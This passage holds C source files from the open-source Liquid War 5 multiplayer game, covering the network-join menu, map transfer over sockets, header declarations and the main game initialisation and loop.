A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : netgame.c */ /* contenu : netgame menu, where the client joins the server */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "back.h" #include "base.h" #include "config.h" #include "decal.h" #include "dialog.h" #include "help.h" #include "menu.h" #include "play.h" #include "disk.h" #include "protocol.h" #include "sockgen.h" #include "server.h" #include "network.h" #include "keyexch.h" #include "error.h" #include "internet.h" #include "netplay.h" #include "lang.h" #include "netmess.h" #include "macro.h" /*==================================================================*/ /* globals */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ int network_game (void) { DIALOG d[17]; int choix = 4, retour = 0; char bufport[BUFFER_EDIT_NUMBER + 1]; int y0; memset (d, 0, sizeof (d)); LW_NETWORK_ON = 1; while (retour == 0) { LW_MACRO_SPRINTF1 (bufport, "%d", CONFIG_SERVER_PORT); standard_button (d + 4, 0, 0, 1, 10); standard_button (d + 5, 0, 2, 2, 10); standard_button (d + 6, 0, 3, 2, 10); standard_button (d + 7, 0, 4, 2, 10); standard_button (d + 8, 1, 2, 2, 10); standard_button (d + 9, 1, 3, 2, 10); standard_button (d + 10, 1, 4, 2, 10); standard_button (d + 11, 1, 2, 2, 10); standard_button (d + 12, 1, 3, 2, 10); standard_button (d + 13, 1, 4, 2, 10); standard_big_button (d + 14, 0, 7, 1, 10); y0 = d[14].y + d[14].h; standard_big_button (d + 14, 0, 5, 1, 10); d[14].h = y0 - d[14].y; standard_big_button (d + 15, 0, 9, 1, 10); quick_buttons (d); d[4].dp = lw_lang_string (LW_LANG_STRING_NETGAME_STARTGAME); d[5].dp = lw_lang_string (LW_LANG_STRING_NETGAME_SERVERADDR); d[5].proc = my_textbox_proc; d[6].dp = lw_lang_string (LW_LANG_STRING_NETGAME_SERVERPORT); d[6].proc = my_textbox_proc; d[7].dp = lw_lang_string (LW_LANG_STRING_NETGAME_PASSWORD); d[7].proc = my_textbox_proc; d[8].proc = d_box_proc; d[9].proc = d_box_proc; d[10].proc = d_box_proc; d[11].dp = CONFIG_SERVER_ADDRESS; d[11].d1 = SERVER_ADDRESS_SIZE; d[11].proc = my_edit_proc; d[11].flags = 0; d[11].x++; d[11].y++; d[11].w -= 2; d[11].h -= 2; d[12].dp = bufport; d[12].d1 = BUFFER_EDIT_NUMBER; d[12].proc = my_edit_proc; d[12].flags = 0; d[12].x++; d[12].y++; d[12].w -= 2; d[12].h -= 2; d[12].d2 = d[9].d2 = 0; d[13].dp = CONFIG_PASSWORD; d[13].d1 = PASSWORD_SIZE; d[13].proc = my_edit_proc; d[13].flags = 0; d[13].x++; d[13].y++; d[13].w -= 2; d[13].h -= 2; d[14].proc = my_textbox_proc; d[14].dp = lw_lang_string (LW_LANG_STRING_NETGAME_WEAKPASSWORD); d[15].dp = lw_lang_string (LW_LANG_STRING_NETGAME_SEARCH); d[16].proc = 0; choix = my_do_dialog (d, choix); CONFIG_SERVER_PORT = atoi (bufport); lw_netmess_cleanup_arg (CONFIG_PASSWORD); switch (choix) { case -1: case MENU_QUICK_BACK: retour = 1; break; case MENU_QUICK_MAIN: retour = MENU_TOP; break; case MENU_QUICK_QUIT: if (confirm_quit ()) retour = MENU_EXIT; else display_back_image (); break; case MENU_QUICK_PLAY: case 4: /* * the "Play" and "Start game" buttons have the same meaning here, * so there's no break; */ retour = netplay_sequence (); break; case 15: retour = internet_find (); break; } } if (retour > 0) retour--; return retour; } liquidwar-5.6.5/src/disk.h0000664000372000037200000001323413407756104015036 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : disk.h */ /* contenu : chargement des donnees du fichier .dat */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_DISK #define LIQUID_WAR_INCLUDE_DISK /*==================================================================*/ /* includes */ /*==================================================================*/ #include /*==================================================================*/ /* constantes */ /*==================================================================*/ #define SAMPLE_WATER_MAX_NUMBER 32 #define SAMPLE_WATER_DAT_NUMBER 32 #define RAW_MAP_MAX_NUMBER 1024 #define RAW_MAP_DAT_NUMBER 512 #define RAW_TEXTURE_MAX_NUMBER 1024 #define RAW_TEXTURE_DAT_NUMBER 512 #define MIDI_MUSIC_MAX_NUMBER 256 #define MIDI_MUSIC_DAT_NUMBER 128 /*==================================================================*/ /* variables globales */ /*==================================================================*/ extern int SAMPLE_WATER_NUMBER; extern int RAW_TEXTURE_NUMBER; extern int RAW_MAPTEX_NUMBER; extern int RAW_MAP_NUMBER; extern int MIDI_MUSIC_NUMBER; extern int LOADED_BACK; extern int LOADED_TEXTURE; extern int LOADED_MAPTEX; extern int LOADED_SFX; extern int LOADED_WATER; extern SAMPLE *SAMPLE_SFX_TIME; extern SAMPLE *SAMPLE_SFX_WIN; extern SAMPLE *SAMPLE_SFX_GO; extern SAMPLE *SAMPLE_SFX_CLICK; extern SAMPLE *SAMPLE_SFX_LOOSE; extern SAMPLE *SAMPLE_SFX_CONNECT; extern SAMPLE *SAMPLE_WATER[SAMPLE_WATER_MAX_NUMBER]; extern void *RAW_MAP[RAW_MAP_MAX_NUMBER]; extern void *RAW_MAP_ORDERED[RAW_MAP_MAX_NUMBER]; extern void *RAW_TEXTURE[RAW_TEXTURE_MAX_NUMBER]; extern void *RAW_MAPTEX[RAW_TEXTURE_MAX_NUMBER]; extern MIDI *MIDI_MUSIC[MIDI_MUSIC_MAX_NUMBER]; extern BITMAP *BACK_IMAGE; extern FONT *BIG_FONT; extern FONT *SMALL_FONT; extern BITMAP *BIG_MOUSE_CURSOR; extern BITMAP *SMALL_MOUSE_CURSOR; extern BITMAP *INVISIBLE_MOUSE_CURSOR; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int load_dat (void); int load_custom (void); void order_map (void); #endif liquidwar-5.6.5/src/netmap.c0000664000372000037200000002041213407756104015357 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : netmap.c */ /* content : functions to transmit maps over the network */ /* last update : June 30th 2001 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "netmap.h" #include "log.h" #include "sock2gen.h" #include "serial.h" /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_NETMAP_CHUNK_SIZE 64 /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* static functions declaration */ /*==================================================================*/ /*==================================================================*/ /* functions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Sends a map over the network */ int lw_netmap_send (int *sock, void *netmap) { int result = 0; char *ptr; int size; int sent; int to_send; ptr = (char *) netmap; if (lw_sock_send_buffer (sock, ptr, 8)) { if (lw_sock_send_buffer (sock, ptr + 8, LW_MAP_SYSTEM_NAME_SIZE)) { if (lw_sock_send_buffer (sock, ptr + 8 + LW_MAP_SYSTEM_NAME_SIZE, LW_MAP_READABLE_NAME_SIZE)) { lw_serial_get_map_header (netmap, &size, NULL, NULL); result = 1; sent = 0; while (sent < size && result) { to_send = size - sent; if (to_send > LW_NETMAP_CHUNK_SIZE) { to_send = LW_NETMAP_CHUNK_SIZE; } if (lw_sock_send_buffer (sock, ptr + 8 + LW_MAP_SYSTEM_NAME_SIZE + LW_MAP_READABLE_NAME_SIZE + sent, to_send)) { sent += to_send; } else { result = 0; } } } } } return result; } /*------------------------------------------------------------------*/ /* * Receives a map from the network */ int lw_netmap_recv (int *sock, void **netmap) { int result = 0; char buffer[8 + LW_MAP_SYSTEM_NAME_SIZE + LW_MAP_READABLE_NAME_SIZE]; int size; short w, h; char *ptr; int received; int to_receive; ptr = (char *) (*netmap); if (ptr != NULL) { free (ptr); } ptr = NULL; if (lw_sock_recv_buffer (sock, buffer, 8)) { if (lw_sock_recv_buffer (sock, buffer + 8, LW_MAP_SYSTEM_NAME_SIZE)) { if (lw_sock_recv_buffer (sock, buffer + 8 + LW_MAP_SYSTEM_NAME_SIZE, LW_MAP_READABLE_NAME_SIZE)) { lw_serial_get_map_header ((void *) buffer, &size, &w, &h); /* * A map under 3 bytes is reasonably not a "real" map... */ if (size >= 10) { ptr = malloc (size + 8 + LW_MAP_SYSTEM_NAME_SIZE + LW_MAP_READABLE_NAME_SIZE); if (ptr != NULL) { memcpy (ptr, buffer, 8 + LW_MAP_SYSTEM_NAME_SIZE + LW_MAP_READABLE_NAME_SIZE); result = 1; received = 0; while (received < size && result) { to_receive = size - received; if (to_receive > LW_NETMAP_CHUNK_SIZE) { to_receive = LW_NETMAP_CHUNK_SIZE; } if (lw_sock_recv_buffer (sock, ptr + 8 + LW_MAP_SYSTEM_NAME_SIZE + LW_MAP_READABLE_NAME_SIZE + received, to_receive)) { received += to_receive; } else { result = 0; } } } } } } } (*netmap) = (void *) ptr; return result; } liquidwar-5.6.5/src/keyboard.h0000664000372000037200000001042013407756104015676 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : keyboard.h */ /* contenu : gestion du clavier */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_KEYBOARD #define LIQUID_WAR_INCLUDE_KEYBOARD /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int is_touched_key (int i); void wait_no_key (void); int wait_key_pressed (void); void lw_keyboard_reset_hack (void); #endif liquidwar-5.6.5/src/bigdata.h0000664000372000037200000001065013407756104015476 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : bigdata.h */ /* contenu : gestion de la "grosse" zone de memoire */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_BIG_DATA #define LIQUID_WAR_INCLUDE_BIG_DATA /*==================================================================*/ /* includes */ /*==================================================================*/ #include "bigdata.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void *malloc_big_data (void); void reset_big_data (void); void *malloc_in_big_data_bottom (int size); void *malloc_in_big_data_top (int size); void free_last_big_data_bottom (void); void free_last_big_data_top (void); int check_free_memory (void); #endif liquidwar-5.6.5/src/game.c0000664000372000037200000006231213407756104015011 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : game.c */ /* contenu : organisation du jeu */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #ifdef UNIX #include #endif #include #include "area.h" #include "autoplay.h" #include "back.h" #include "army.h" #include "bigdata.h" #include "config.h" #include "cursor.h" #include "decal.h" #include "disp.h" #include "distor.h" #include "fighter.h" #include "game.h" #include "grad.h" #include "info.h" #include "map.h" #include "maptex.h" #include "menu.h" #include "message.h" #include "mouse.h" #include "move.h" #include "pion.h" #include "profile.h" #include "code.h" #include "sound.h" #include "ticker.h" #include "time.h" #include "viewport.h" #include "watchdog.h" #include "network.h" #include "lang.h" #include "exit.h" #include "capture.h" #include "startup.h" #include "random.h" /*==================================================================*/ /* definitions de constantes */ /*==================================================================*/ /*==================================================================*/ /* definitions de types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ int LW_GAME_RUNNING = 0; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * this function calculates how many teams will be playing */ void calc_playing_teams (void) { int i; PLAYING_TEAMS = 0; /* * loop for all the possible teams, that's to say each of the * 6 areas in the "teams" menu */ for (i = 0; i < NB_TEAMS; ++i) { if (LW_NETWORK_ON) { /* * We're in a network game */ if (LW_NETWORK_INFO[i].active) { PLAYING_TEAMS++; } } else { /* * Not a network game, we only check the local config */ if (CONFIG_CONTROL_TYPE[i] != CONFIG_CONTROL_TYPE_OFF) { PLAYING_TEAMS++; } } } } /*------------------------------------------------------------------*/ /* gestion des actions pendant le jeu */ /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ /* deplacement des curseurs */ /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ /* * associates a control method to a cursor */ static void init_cursor_control_method (void) { int i; for (i = 0; i < NB_TEAMS; ++i) { if (LW_NETWORK_ON) { CURRENT_CURSOR[i].from_network = LW_NETWORK_INFO[i].network; CURRENT_CURSOR[i].control_type = LW_NETWORK_INFO[i].control_type; } else { /* * local teams */ CURRENT_CURSOR[i].from_network = 0; CURRENT_CURSOR[i].control_type = CONFIG_CONTROL_TYPE[i]; } } } /*------------------------------------------------------------------*/ /* on verifie si des equipes doivent disparaitre */ /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ /* * checks if a team has lost the game, and make it leave the game * if necessary */ int check_loose_team (void) { int i = 0, lost = 0; /* * loop for all the playing teams. we stop when we first find a * team which has lost. however, if another one has lost, it will * be discovered at the next game round, so it's not a problem * and anyway, teams rarely loose at the same round 8-) */ while (i < PLAYING_TEAMS && !lost) { /* * if there are no fighters left, then the game is lost */ if (ACTIVE_FIGHTERS[i] == 0) { /* * nothing will be calculated for this team anymore */ eliminate_team (i); lost = 1; } else ++i; } /* * now we check if the previous loop has given some results */ if (lost) { /* * sound effect */ play_loose (); /* * remove the team from the info bar, so that room if freed for * other teams */ free_info_bar (); } return (lost); } /*------------------------------------------------------------------*/ /* initialisations du jeu */ /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ /* * initialization of the game, the menu system has been leaved * and the game has to start right away */ char * init_game (void) { int i; int big_data; int max_mem_reached = 0; int last_try = 0; int ok = 0; /* * this string will be used to display error messages in case * something goes wrong. as long as message is not NULL it * the game can not be launched */ char *message = NULL; /* * creation of a bitmap which represents the battlefield * this map will be left as is and will never be changed * it is used to "cache" a blank map (by blank we mean with * no fighters drawn on it) */ if (!message && (CURRENT_AREA_BACK = lw_maptex_create_map (CONFIG_LEVEL_MAP, CONFIG_LEVEL_FG, CONFIG_LEVEL_BG, LW_NETWORK_ON, LW_RANDOM_ON, MIN_MAP_RES_W[LW_CONFIG_CURRENT_RULES.min_map_res], MIN_MAP_RES_H[LW_CONFIG_CURRENT_RULES.min_map_res], CONFIG_USE_DEFAULT_TEXTURE)) == NULL) message = lw_lang_string (LW_LANG_STRING_GAME_BACKMEMFAIL); /* * creation of the map which will be used for display * operations, it will be changed later, basically fighters * will be drawn on it */ if (!message && (CURRENT_AREA_DISP = lw_maptex_create_map (CONFIG_LEVEL_MAP, CONFIG_LEVEL_FG, CONFIG_LEVEL_BG, LW_NETWORK_ON, LW_RANDOM_ON, MIN_MAP_RES_W[LW_CONFIG_CURRENT_RULES.min_map_res], MIN_MAP_RES_H[LW_CONFIG_CURRENT_RULES.min_map_res], CONFIG_USE_DEFAULT_TEXTURE)) == NULL) message = lw_lang_string (LW_LANG_STRING_GAME_DISPMEMFAIL); if (!message) { for (i = 0; !max_mem_reached && !ok; ++i) { message = NULL; reset_big_data (); /* * creation of the mesh, see mesh.c for details */ if (!message && create_mesh ()) message = lw_lang_string (LW_LANG_STRING_GAME_MESHMEMFAIL); /* * creation of the game area, see area.c for details */ if (!message && create_game_area ()) message = lw_lang_string (LW_LANG_STRING_GAME_AREAMEMFAIL); /* * creation of the armies, see army.c for details */ if (!message && create_army ()) message = lw_lang_string (LW_LANG_STRING_GAME_ARMYMEMFAIL); if (message) { /* * There's an error. */ if (last_try) { /* * OK, last time we allocated memory, we couldn't * allocate all we wanted to, and this is not * enough -> we give up... */ max_mem_reached = 0; } else { /* * We increase the amount of allocated memory */ STARTUP_BIG_DATA += LW_STARTUP_MEM_STEP; if (STARTUP_BIG_DATA > LW_STARTUP_MEM_MAX) { last_try = 1; STARTUP_BIG_DATA = LW_STARTUP_MEM_MAX; } big_data = STARTUP_BIG_DATA; if (malloc_big_data ()) { if (STARTUP_BIG_DATA != big_data) { /* * not all the memory could be * allocated, we consider this is * the last try. */ last_try = 1; } } else { /* * memory allocation failed... */ max_mem_reached = 1; } } } else { ok = 1; } } } /* * what to do nothing failed (play!) */ if (!message) { /* * these are basically initialization which need to be done * and should never fail * check each function to know what it does!!! */ reset_mesh (); reset_game_area (); reset_all_cursor (); init_cursor_control_method (); place_all_team (); init_move_fighters (); init_disp_cursor (); } /* * We set the network error flag to 0, if it becomes non-zero * then the game simply stops... */ LW_NETWORK_ERROR_DETECTED = 0; return message; } /*------------------------------------------------------------------*/ /* * cleans up things after the game is finished * currently only the bitmaps have to be freed since mesh, maps etc... * are allocated in the "big data" structure (bigdata.c) */ void free_game_memory (void) { /* * the info bar allocates bitmaps for its display, get rid of'm */ free_info_bar (); /* * the bigdata is not "freed" in the malloc sense, but it's * just clean to tell it to reset itself.it might be usefull * if some day the big data system is implemented in a more * conventional way */ reset_big_data (); /* * free the bitmap used for displays if it exists */ if (CURRENT_AREA_DISP) { destroy_bitmap (CURRENT_AREA_DISP); CURRENT_AREA_DISP = 0; } /* * free the clean empty bitmap if it exists */ if (CURRENT_AREA_BACK) { destroy_bitmap (CURRENT_AREA_BACK); CURRENT_AREA_BACK = 0; } } /*------------------------------------------------------------------*/ /* * a blank round. but why should one want a blank round? * well, it's usefull to initialize the double-buffer system * if you don't use this function, the display of the game * might be dirty, so we artificially simulate a round * this is just about display, no logic operations */ int blank_round (void) { /* * the first call to page flip allocates a bitmap for drawing, * so it might fail... */ if (page_flip ()) { /* * the distorsion displayer is used for the wave effect */ init_distorsion_displayer (); /* * prepares the basic layer for the first buffer */ display_back_image (); rect_for_viewport (); /* * displays the map in the previously defined layer */ disp_all_cursors (); display_area (); undisp_all_cursors (); /* * we now show what we have done to the player */ page_flip (); /* * prepares the basic layer for the second buffer */ display_back_image (); rect_for_viewport (); /* * clean up message queue */ clear_message (); return 0; } else return -1; } /*------------------------------------------------------------------*/ /* * fills the screen with the right stuff * can display the map or special screens if we are in some * sort of debug mode */ static void fill_next_screen (void) { /* * GRAD_TO_DISP is the gradient we want to show * normally no gradient is displayed, so the gradient is 0 */ if (GRAD_TO_DISP == 0) { /* * we add the cursors to the map, temporary */ disp_all_cursors (); /* * physical drawing of the map */ display_area (); /* * we remove the cursors, for they might move next time * so they are no longer required */ undisp_all_cursors (); } /* * GRAD_TO_DISP is between 1 & 6, we display the info concerning * the selected team, this way one can see in real tiem how * the gradient is calculated. for curious guys */ if (GRAD_TO_DISP >= 1 && GRAD_TO_DISP <= 6) display_gradient (GRAD_TO_DISP - 1); /* * is GRAD_TO_DISP is 7 or 8 we display the plain mesh with * various display options */ if (GRAD_TO_DISP >= 7 && GRAD_TO_DISP <= 8) display_mesh (GRAD_TO_DISP - 7); } /*------------------------------------------------------------------*/ /* * the logic function is the one which moves players, calculates stuff * etc... the more often this function is called, the faster the game * will go. it does nothing such as display, which is an independant * thing. every time this function is called on can consider that * "game round" has ellapsed. indeed, it's here that the global * GLOBAL_CLOCK is incremented 8-) */ static void logic (void) { /* * if the game is paused, we do not do everything * this test is done again later */ if (!PAUSE_ON) { /* * moves the cursors. this will ask the keyboard module * for information, ask the AI functions what to do... */ move_all_cursors (); /* * applying the cursors means that we communicate to * the game area the information about where the cursors are */ apply_all_cursor (); } /* * the profile module enables CPU time tracking, so that the player * can now how much time is spent on various tasks */ start_profile (SPREAD_PROFILE); if (!PAUSE_ON) { /* * spreads the gradient, ie calculates in the game area how far * each point is from the cursors, this information depends * on where the cursors are, this information being given * by apply_all_cursor */ spread_single_gradient (); } /* * this call ends the time tracking associated to the spread function */ stop_profile (SPREAD_PROFILE); start_profile (MOVE_PROFILE); if (!PAUSE_ON) { /* * now we move the fighters, ie each fighter of each team * will either move, attack his neighbor, die... */ move_fighters (); } stop_profile (MOVE_PROFILE); if (!PAUSE_ON) { /* * we check if a team has lost * * This code used to be in the "display" functions, which * is a very bad idea for it caused network inconsistencies... */ check_loose_team (); } /* * increments the clock, this way one can know how many game ticks * there has been. there's actually no link between this clock * and the GMT, indeed everything depends on the speed of the * computer where the game is run */ GLOBAL_CLOCK++; } /*------------------------------------------------------------------*/ /* * this function is responsible for displaying stuff on the screen * it does nothing such as calculating fighters positions for instance * if this function is called very often, then the game will look * smooth, the wave effect will be nicer, but the cursors won't move * any faster * this function does also other things than display, in fact it does * everything which is not directly linked to a game cycle */ static void display (void) { /* * the watchdog waits for secret codes to be entered * * It's also very important to call this for it will call * keypressed() and so will also automatically call poll_keyboard() * if needed. */ watchdog_update (); /* * calls the watchdog module to see if a secret code has been * entered, and does the required stuff if the answer is yes */ check_code (); /* * keeps track of how long the mext operation takes */ start_profile (DISP_PROFILE); /* * now we call the function that actually draws stuff */ fill_next_screen (); stop_profile (DISP_PROFILE); /* * like check_code but dedicated to the info mode on/off * ie it detects if F1 has been pressed and decides wether * the info bar must be displayed or not */ check_info_state (); /* * updates some time values, telling how many weeks this tremendous * liquid war session has been running 8-) */ update_play_time (); /* * Now this is a little trick, we change the order of display * depending on the capture mode. */ if (lw_capture_get_mode ()) { /* * We're in capture mode: we display info before the dump * for we want it to be there but we display the messages * after the dump since they are ugly and useless in a * video capture. */ display_info (); lw_capture_dump_game (); display_message (); } else { /* * We're not in capture mode: we display the messages first, * for displaying them after the info might give them an * ugly blinking look if we're not in double-buffered mode. */ display_message (); display_info (); } /* * it's interesting to know how much time is wasted on page flips */ start_profile (FLIP_PROFILE); /* * switches to the next screen, when page flipping is off, * it does not do much... */ page_flip (); stop_profile (FLIP_PROFILE); } /*------------------------------------------------------------------*/ /* * *THE* main game loop */ int game (void) { int retour = 0; int last_display_time = get_ticker (); int last_logic_time = get_ticker (); int lr; /* * we initialize the time module telling him that now it's 0 * and he it can start recording stuff */ start_play_time (); /* * resets the secret code sequences */ watchdog_reset (); reset_code (); /* * resets input buffers and control interfaces */ lw_mouse_reset_control (); reset_computer_path (); /* * resets profile information, so that they are not affected * by previous games */ reset_all_profile (); /* * everything's ready, POOOOOOOOOT the game starts and you hear it */ play_go (); if (1 /*!init_distorsion_displayer() */ ) { /* * so we loop (almost) for ever * execptions are * - we have detected a key press on ESCAPE * - there are less than 2 teams playing, ie there's a winner * - the game time is elapsed */ while ((!WATCHDOG_SCANCODE[KEY_ESC]) && (PLAYING_TEAMS >= 2) && (TIME_LEFT > 0) && (!LW_NETWORK_ERROR_DETECTED)) { /* * global time checking */ start_profile (GLOBAL_PROFILE); /* * will contain how mush called to logic have been performed */ lr = 0; do { /* * we call logic, calculates stuff, move players etc... */ logic (); /* * Now we decide to go idel if it happens that the computer * is calculating this "too fast". This will enable people * too 